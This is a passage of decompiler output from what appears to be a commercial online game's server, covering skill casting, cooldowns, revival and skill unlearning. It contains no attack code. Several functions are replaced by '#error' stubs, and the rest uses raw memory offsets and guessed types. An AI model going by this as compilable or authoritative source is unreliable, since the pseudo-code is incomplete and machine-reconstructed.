*(_WORD *)(*((_DWORD *)v1 + 923) + 12 * *((_WORD *)v1 + 1849) + 4); while ( 1 ) { v6 = *((_WORD *)v1 + 1844); if ( v5 >= v6 ) break; v7 = *((_DWORD *)v1 + 923); v8 = v5; v9 = v5; v10 = v5 < v6; v5 = *(_WORD *)(v7 + 12 * v5 + 4); if ( v10 && *(_BYTE *)(v7 + 12 * v8 + 8) ) v11 = *(_DWORD *)(v7 + 12 * v8); else v11 = 0; v12 = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v11 + 4)); if ( v9 < v6 && (v13 = v7 + 12 * v8, *(_BYTE *)(v13 + 8)) ) v14 = *(_DWORD *)v13; else v14 = 0; if ( (unsigned __int8)(*(int (__stdcall **)(int))(*(_DWORD *)v12 + 32))(v14) ) { *((_BYTE *)v1 + 7416) |= 0x40u; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet"); return 0; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet"); result = 1; } return result; } //----- (005125C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBlastOption(void *this) { void *v1; // ebp@1 unsigned __int16 v2; // bx@1 unsigned __int16 v3; // di@2 int v4; // edx@3 int v5; // eax@3 unsigned __int16 v6; // si@3 bool v7; // cf@3 int v8; // ecx@5 int v9; // ecx@7 int v10; // edx@8 int v11; // edx@9 int v12; // eax@11 int skl; // [sp+10h] [bp-14h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBlastOption"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillBlastOption"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; skl = 0; v2 = *(_WORD *)(*((_DWORD *)v1 + 923) + 12 * *((_WORD *)v1 + 1849) + 4); while ( 1 ) { v3 = *((_WORD *)v1 + 1844); if ( v2 >= v3 ) break; v4 = *((_DWORD *)v1 + 923); v5 = v2; v6 = v2; v7 = v2 < v3; v2 = *(_WORD *)(v4 + 12 * v2 + 4); if ( v7 && *(_BYTE *)(v4 + 12 * v5 + 8) ) v8 = *(_DWORD *)(v4 + 12 * v5); else v8 = 0; v9 = *((_DWORD *)&abstateidentarray + 3 * *(_DWORD *)(v8 + 4)); if ( v6 < v3 && (v10 = v4 + 12 * v5, *(_BYTE *)(v10 + 8)) ) v11 = *(_DWORD *)v10; else v11 = 0; v12 = (*(int (__stdcall **)(int))(*(_DWORD *)v9 + 28))(v11); if ( skl < v12 ) skl = v12; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBlastOption"); return skl; } //----- (005126E0) -------------------------------------------------------- #error "5126E0: undefined or illegal type '#331' (funcsize=115)" //----- (00512890) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ReviveNow(void *this, unsigned __int16 healrate) { void *v2; // ebp@1 char v3; // cl@1 void *v4; // edi@1 int v5; // edi@2 int v6; // esi@3 int v7; // eax@3 char *v8; // esi@3 int v9; // eax@3 int v10; // eax@5 int v11; // eax@6 int v12; // eax@6 int v13; // edx@6 int v14; // edx@6 int v15; // edx@6 int v16; // eax@6 int v17; // edx@6 unsigned int v18; // ecx@6 char *v19; // edx@6 int v20; // eax@8 _DWORD *v21; // esi@10 int v22; // eax@10 int v23; // eax@12 int v24; // ST34_4@12 int v25; // eax@12 int v26; // edx@12 int v27; // eax@12 int v28; // ecx@13 int v29; // [sp+40h] [bp-44h]@6 int v30; // [sp+44h] [bp-40h]@12 int v31; // [sp+48h] [bp-3Ch]@12 int v32; // [sp+4Ch] [bp-38h]@12 ProtocolPacket *v33; // [sp+50h] [bp-34h]@6 int v34; // [sp+54h] [bp-30h]@3 FunctionEntarance _; // [sp+68h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+6Ch] [bp-18h]@6 int v37; // [sp+80h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ReviveNow"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ReviveNow"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ReviveNow"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; **((_BYTE **)v2 + 929) = 1; v3 = *((_BYTE *)v2 + 89087); v4 = (void *)(*(_DWORD *)((char *)v2 + 32047) + 29); v37 = 0; if ( v3 ) { memcpy(v4, (char *)v2 + 89040, 0x2Cu); v5 = (int)((char *)v4 + 44); *(_WORD *)v5 = *((_WORD *)v2 + 44542); *(_BYTE *)(v5 + 2) = *((_BYTE *)v2 + 89086); *((_BYTE *)v2 + 89087) = 0; } v6 = *(_DWORD *)v2; v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1244))(v2); (*(void (__thiscall **)(void *, unsigned int))(v6 + 1232))( v2, (unsigned int)((unsigned int)healrate * v7 * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6); v34 = (int)KingdomQuest::KQPlayerInform::kqpi_KnockDownMinus; *((_BYTE *)v2 + 7164) = 0; ShineObjectClass::ShinePlayer::sp_KQElementFunction( v2, (int (__thiscall *)(KingdomQuest::KQPlayerInform *, unsigned int))v34); v8 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18462; *(_DWORD *)(v8 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1240))(v2); v34 = 10; *(_DWORD *)(v8 + 6) = v9; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v34) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_ReviveNow : Packet Too Long", 10); } *(_WORD *)v8 = 18463; *((_WORD *)v8 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v8 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2); v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1240))(v2); v34 = 12; v33 = &gpp; *((_DWORD *)v8 + 2) = v11; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, v33, v34); v29 = *(_DWORD *)((char *)v2 + 78); LOBYTE(v37) = 1; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v12, v29, 0, 0, (int)&alchat, 0, 65535); v13 = *(_DWORD *)((char *)v2 + 98); *((_BYTE *)v2 + 23324) &= 0xF7u; (*(void (__thiscall **)(void *, void *, signed int, signed int, _DWORD, unsigned int, _DWORD, signed int, _DWORD, signed int))(*(_DWORD *)v2 + 1528))( v2, v2, 291, 1, unk_608494, clockwatch.cw_CurrTick, 0, -1, *(_WORD *)(*(_DWORD *)(v13 + 12) + 63), 10); ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v2, 291); AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin((char *)v2 + 204, (#440 *)v2); v14 = *(_DWORD *)((char *)v2 + 32047); *((_BYTE *)v2 + 7164) = 0; *((_DWORD *)v2 + 1792) = 0; v14 += 80; *(_WORD *)v14 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v14 + 2) = byte_1246F162; v15 = *((_DWORD *)v2 + 35); *((_DWORD *)v2 + 36) = 0; *((_DWORD *)v2 + 42) = 0; *((_DWORD *)v2 + 43) = 0; *((_DWORD *)v2 + 44) = 0; *((_DWORD *)v2 + 45) = 0; *((_DWORD *)v2 + 46) = 0; *((_DWORD *)v2 + 37) = 0; v16 = *(_DWORD *)(v15 + 78); *((_DWORD *)v2 + 40) = *(_DWORD *)v16; *((_DWORD *)v2 + 41) = *(_DWORD *)(v16 + 4); *((_WORD *)v2 + 51) = 0; *((_DWORD *)v2 + 1793) = 0; *((_DWORD *)v2 + 22246) = 7; v17 = *(_DWORD *)v2; *((_DWORD *)v2 + 22245) = 0; *((_DWORD *)v2 + 22288) = ShineObjectClass::ShinePlayer::sp_NoAdmin; *((_DWORD *)v2 + 1855) = -1; v18 = clockwatch.cw_CurrTick; *((_DWORD *)v2 + 16509) = clockwatch.cw_CurrTick; *((_DWORD *)v2 + 16507) = v18; *((_DWORD *)v2 + 16510) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *((_DWORD *)v2 + 16508) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *((_WORD *)v2 + 44961) = (*(int (__thiscall **)(void *))(v17 + 1280))(v2); *((_WORD *)v2 + 44962) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1284))(v2); v19 = gpp.pp_Buffer; *(_DWORD *)gpp.pp_Buffer = *((_DWORD *)v2 + 22480); *((_WORD *)v19 + 2) = *((_WORD *)v2 + 44962); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v20 + 12))(v20, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long", 6); } *((_BYTE *)v2 + 7416) &= 0xFDu; *((_BYTE *)v2 + 91724) = 0; *((_DWORD *)v2 + 23029) = -1; ShineObjectClass::ShinePlayer::sp_LoginInit(v2); if ( (*((_BYTE *)v2 + 23344) & 0xF) == 2 ) { v21 = dword_60849C[0]; (*(void (__thiscall **)(void *, void *, _DWORD, signed int, _DWORD *, unsigned int, _DWORD, signed int, signed int, _DWORD))(*(_DWORD *)v2 + 1528))( v2, v2, *(_DWORD *)(*dword_60849C[0] + 34), 1, dword_60849C[0], clockwatch.cw_CurrTick, 0, -1, 1000000000, 0); ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v2, *(_DWORD *)(*v21 + 34)); v22 = v21[11]; if ( v22 ) { (*(void (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)v2 + 992))( v2, *(_DWORD *)(*v21 + 34), *(_DWORD *)(v22 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( v2, *(_DWORD *)(*v21 + 34), *(_DWORD *)(v21[11] + 43), 1); } } v34 = 65535; v33 = 0; v29 = (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe; v23 = *(_DWORD *)((char *)v2 + 78); v30 = 0; v31 = 0; v24 = v23; v32 = 0; v25 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v25, v24, 0, 0, v29, v30, v31, v32, (int)v33, v34); v26 = *(_DWORD *)v2; v34 = 0; (*(void (__thiscall **)(void *, _DWORD))(v26 + 2776))(v2, 0); v27 = *(_DWORD *)((char *)v2 + 98); if ( v27 ) { v28 = *(_DWORD *)(v27 + 12); if ( v28 ) { if ( *(_BYTE *)(v28 + 54) == 1 && *(_DWORD *)(v27 + 60) == -1 ) ShineObjectClass::ShinePlayer::sp_2Roumen(v2); } } LOBYTE(v37) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ReviveNow"); } // 1246F160: using guessed type struct STOPEMOTICON_DESCRIPT ShineObjectClass__ShineObject__so_defstopmotion; // 1246F162: using guessed type char byte_1246F162; //----- (00512CF0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_UseSkillSimple(void *this, int skillIndex, int a3, int loc) { void *v4; // esi@1 int v5; // eax@1 v4 = this; *((_BYTE *)v4 + 7416) ^= (*((_BYTE *)v4 + 7416) ^ 2 * (*(_BYTE *)(skillIndex + 256) != 0)) & 2; ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting(this, skillIndex, a3, loc, -1); v5 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1304))(v4); return List::l_4AllInList( (List *)(v5 + 3480), AbnormalStateContainer::AbstateElementInObject::aeo_Attack); } //----- (00512D50) -------------------------------------------------------- void __stdcall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ(int netcmd, int len, __int16 handle) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ Called", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ"); } //----- (005139A0) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_Revive(ServerMenuFuncter *this, #440 *a2, ServerMenuArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Revive"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_Revive"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_ReviveNow((void *)a2, *(_WORD *)&arg->sma_link.sml_lnkinf.index[0]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_Revive"); } //----- (00513A40) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_UnLearn(CharaterSkillList *this, std::vector >::iterator skill) { CharaterSkillList *v2; // esi@1 std::vector >::iterator v3; // ecx@1 std::vector >::iterator v4; // edi@2 std::vector >::iterator v5; // edi@3 int v6; // eax@4 CharaterSkillList::CharSkill compare; // [sp+10h] [bp-20h]@3 int v8; // [sp+2Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_UnLearn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_UnLearn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (std::vector >::iterator)v2->csl_Skill._Myfirst; v8 = 0; if ( v3 ) { v4 = (std::vector >::iterator)v2->csl_Skill._Mylast; if ( (signed int)((char *)v2->csl_Skill._Mylast - *(_DWORD *)&v3) / 20 ) { compare.cs_SkillId = *(_WORD *)&skill; std::_Lower_bound>::iterator_CharaterSkillList::CharSkill_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( &skill, v3, v4, &compare, CharaterSkillList::CharSkill::cs_Compare_STLVer, 0); v5 = skill; if ( !CharaterSkillList::CharSkill::cs_Compare_STLVer(&compare, *(CharaterSkillList::CharSkill **)&skill) ) { std::_Copy_opt( (CharaterSkillList::CharSkill *)(*(_DWORD *)&v5 + 20), v2->csl_Skill._Mylast, *(CharaterSkillList::CharSkill **)&v5, (std::_Nonscalar_ptr_iterator_tag)skill.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v6 = v2->csl_SkillNumber - 1; --v2->csl_Skill._Mylast; v2->csl_SkillNumber = v6; } } } --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_UnLearn"); } //----- (00513B60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_UnlearnSkillAck(void *this, int ack) { void *v2; // esi@1 signed __int16 v3; // bx@1 unsigned __int16 v4; // di@1 char *v5; // eax@5 int v6; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_UnlearnSkillAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_UnlearnSkillAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_WORD *)(ack + 8); v4 = *(_WORD *)(ack + 6); if ( v3 == 5377 ) { if ( v4 >= 0x7530u ) { v4 -= 30000; v3 = 5381; CharacterPassiveList::cpl_UnLearn((CharacterPassiveList *)((char *)v2 + 68260), v4); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 868))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 872))(v2); } else { CharaterSkillList::csl_UnLearn((CharaterSkillList *)v2 + 3412, v4); } } v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18471; *((_WORD *)v5 + 1) = v4; *((_WORD *)v5 + 2) = v3; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v6 + 12))(v6, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_UNLEARN_REQ : Packet Too Long", 6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_UnlearnSkillAck"); } //----- (00513CA0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val) { std::vector > *v4; // edi@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)(*(_DWORD *)&_Where - (_DWORD)v5 + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32)) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00513D10) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val) { std::vector > *v2; // edi@1 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v3; // ebx@1 int v4; // esi@2 signed int v5; // edx@3 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v6; // esi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((char *)this->_Mylast + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) - (unsigned int)v3)) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < this->_Myend - v3 ) { v6 = this->_Mylast; std::_Uninit_fill_n>( this->_Mylast, 1u, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( this, (std::vector >::iterator *)&_Val, (std::vector >::iterator)this->_Mylast, _Val); } } //----- (00513DA0) -------------------------------------------------------- #error "513DA0: undefined or illegal type '#331' (funcsize=170)" //----- (00513FB0) -------------------------------------------------------- #error "513FB0: undefined or illegal type '#331' (funcsize=801)" //----- (00514B40) -------------------------------------------------------- #error "514B40: undefined or illegal type '#748' (funcsize=56)" //----- (00514C10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(void *caster, int targetlocate, int empower) { void *v3; // esi@1 char v4; // cl@1 char v5; // al@3 int v6; // edx@4 int v7; // edx@5 int v8; // eax@5 unsigned int v9; // ecx@5 char *v10; // ecx@5 char *v11; // eax@7 int v12; // ST04_4@7 int v13; // eax@7 char *v14; // [sp-4h] [bp-2Ch]@4 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@7 int v16; // [sp+24h] [bp-4h]@1 v3 = caster; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(Loc)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(Loc)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_BYTE *)(*(_DWORD *)(*((_DWORD *)v3 + 1798) + 4) + 180); v16 = 0; if ( v4 ) *((_BYTE *)v3 + 7416) |= 0x10u; v5 = *((_BYTE *)v3 + 7416); if ( v5 & 0x10 ) { v7 = *(_DWORD *)v3; *((_BYTE *)v3 + 7416) = v5 & 0xEF; v8 = (*(int (__thiscall **)(void *))(v7 + 1352))(v3); v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_DWORD *)v10 = *(_DWORD *)v8; *((_DWORD *)v10 + 1) = *(_DWORD *)(v8 + 4); *((_DWORD *)v10 + 2) = *(_DWORD *)(v8 + 8); *((_DWORD *)v10 + 3) = *(_DWORD *)(v8 + 12); v10[16] = 0; SkillResultBuffer::bufferpoint = 0; if ( *(_BYTE *)(*((_DWORD *)v3 + 1798) + 168) ) { ShineObjectClass::ShineMobileObject::smo_WarpTo(v3, targetlocate, *((_DWORD *)v3 + 1798)); ShineObjectClass::ShineMobileObject::smo_SkillResultPacket(v3, *((_DWORD *)v3 + 1798), targetlocate); } v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9303; *((_WORD *)v11 + 2) = *((_WORD *)v3 + 2); *((_WORD *)v11 + 1) = *((_WORD *)v3 + 3715); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 6); v12 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v16) = 1; v13 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v13, v12, 0, 0, (int)&alchat, 1, 65535); LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); SkillEffectApply::SkillBlastEffectContainer::sbec_Store( &skilleffectapplyer, *((_WORD *)v3 + 3715), *((SkillDataBox::SkillDataIndex **)v3 + 1798), (#748 *)v3, 0, (SHINE_XY_TYPE *)targetlocate, -1); v14 = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(Loc)"; } else { v6 = *((_DWORD *)v3 + 1793); *((_BYTE *)v3 + 7416) = v5 | 0x10; *((_DWORD *)v3 + 1793) = v6 + 3; v14 = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(Loc)"; } --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); } // 1248DBF8: using guessed type int SkillResultBuffer__bufferpoint; //----- (00514DE0) -------------------------------------------------------- #error "514DE0: undefined or illegal type '#331' (funcsize=241)" //----- (00515140) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast_Trap(void *this, int targetlocate, SKILL_EMPOWER *empower, int sklidx) { void *v4; // esi@1 char *v5; // eax@1 int v6; // ST04_4@1 int v7; // eax@1 int v8; // eax@1 unsigned int v9; // ecx@1 char *v10; // ecx@1 int v11; // ebp@2 int v12; // ST08_4@5 int v13; // eax@5 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@1 int v15; // [sp+28h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast_Trap(Loc)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast_Trap(Loc)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9283; *((_WORD *)v5 + 1) = **(_WORD **)(sklidx + 4); *((_WORD *)v5 + 2) = *((_WORD *)v4 + 2); *(_DWORD *)(v5 + 6) = *(_DWORD *)targetlocate; *(_DWORD *)(v5 + 10) = *(_DWORD *)(targetlocate + 4); v15 = 0; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 14); v6 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v15) = 1; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v7, v6, 0, 0, (int)&alchat, 1, 65535); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1352))(v4); v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_DWORD *)v10 = *(_DWORD *)v8; *((_DWORD *)v10 + 1) = *(_DWORD *)(v8 + 4); *((_DWORD *)v10 + 2) = *(_DWORD *)(v8 + 8); *((_DWORD *)v10 + 3) = *(_DWORD *)(v8 + 12); v10[16] = 0; SkillResultBuffer::bufferpoint = 0; switch ( *(_DWORD *)(*(_DWORD *)(sklidx + 4) + 176) ) { case 0: v11 = (int)&alnse; goto LABEL_5; case 3: v11 = (int)&alnsf; goto LABEL_5; case 2: case 6: v11 = (int)&alnsp; LABEL_5: *(_DWORD *)(v11 + 408) = v4; *(_DWORD *)(v11 + 404) = 0; v12 = *(_DWORD *)(*(_DWORD *)(sklidx + 4) + 231) >> 1; v13 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v13, targetlocate, v12, 0, v11, 1, 65535); qsort((void *)(v11 + 4), *(_DWORD *)(v11 + 404), 8u, AxialListNearScan::alns_Compare); AxialListScanSkillTarget::alsst_SkillBlast( (AxialListScanSkillTarget *)v11, (SkillDataBox::SkillDataIndex *)sklidx, empower, *(_DWORD *)(*(_DWORD *)(sklidx + 4) + 235)); break; default: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast : Invalid TargetType", **(_WORD **)(sklidx + 4), *(_DWORD *)(*(_DWORD *)(sklidx + 4) + 172)); break; } ShineObjectClass::ShineMobileObject::smo_SkillResultPacket(v4, sklidx, targetlocate); LOBYTE(v15) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast_Trap(Loc)"); } // 1248DBF8: using guessed type int SkillResultBuffer__bufferpoint; //----- (00515370) -------------------------------------------------------- #error "515370: undefined or illegal type '#331' (funcsize=156)" //----- (005155C0) -------------------------------------------------------- #error "5155C0: undefined or illegal type '#748' (funcsize=214)" //----- (005158B0) -------------------------------------------------------- #error "5158B0: undefined or illegal type '#748' (funcsize=128)" //----- (00515AA0) -------------------------------------------------------- AbnormalStateInfo::ABSTATEINDEX __thiscall SkillDataBox::sdb_load_IndexSearch(SkillDataBox *this, char *name) { unsigned int v2; // eax@1 AbnormalStateInfo::ABSTATEINDEX result; // eax@2 AbnormalStateDictionary::AbState::AbStateStr *v4; // esi@3 v2 = BTree::operator__(&unk_608624, name); if ( v2 == -1 ) { result = 391; } else { v4 = AbnormalStateDictionary::AbState::as_FromID(&dic_abstate, v2); if ( v4 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "SkillDataBox::sdb_load_IndexSearch : Search error", name); ShineExit("SkillDataBox::sdb_load_IndexSearch"); } result = v4->index->AbStataIndex; } return result; } //----- (00515B00) -------------------------------------------------------- void __thiscall SkillDataBox::SkillDataIndex::sdi_SetAbstate(SkillDataBox::SkillDataIndex *this, int sub, char *statename, int strength, int rate) { SkillDataBox::SkillDataIndex *v5; // esi@1 AbnormalStateInfo::ABSTATEINDEX v6; // eax@1 int v7; // edx@1 v5 = this; v6 = SkillDataBox::sdb_load_IndexSearch(&skilldatabox, statename); v7 = (int)((char *)v5 + 12 * sub); *(_DWORD *)(v7 + 16) = v6; *(_DWORD *)(v7 + 20) = strength; *((_DWORD *)&v5->sdi_ServInf + 3 * sub + 6) = rate; if ( *statename != 45 && v6 == 391 ) { AssertClass::ac_AssertFail( &shineassert, "SkillDataBox::SkillDataIndex::sdi_SetAbstate : StateName wrong", statename); AssertClass::ac_AssertFail( &shineassert, "SkillDataBox::SkillDataIndex::sdi_SetAbstate : StateName wrong", v5->sdi_Activ->ID); 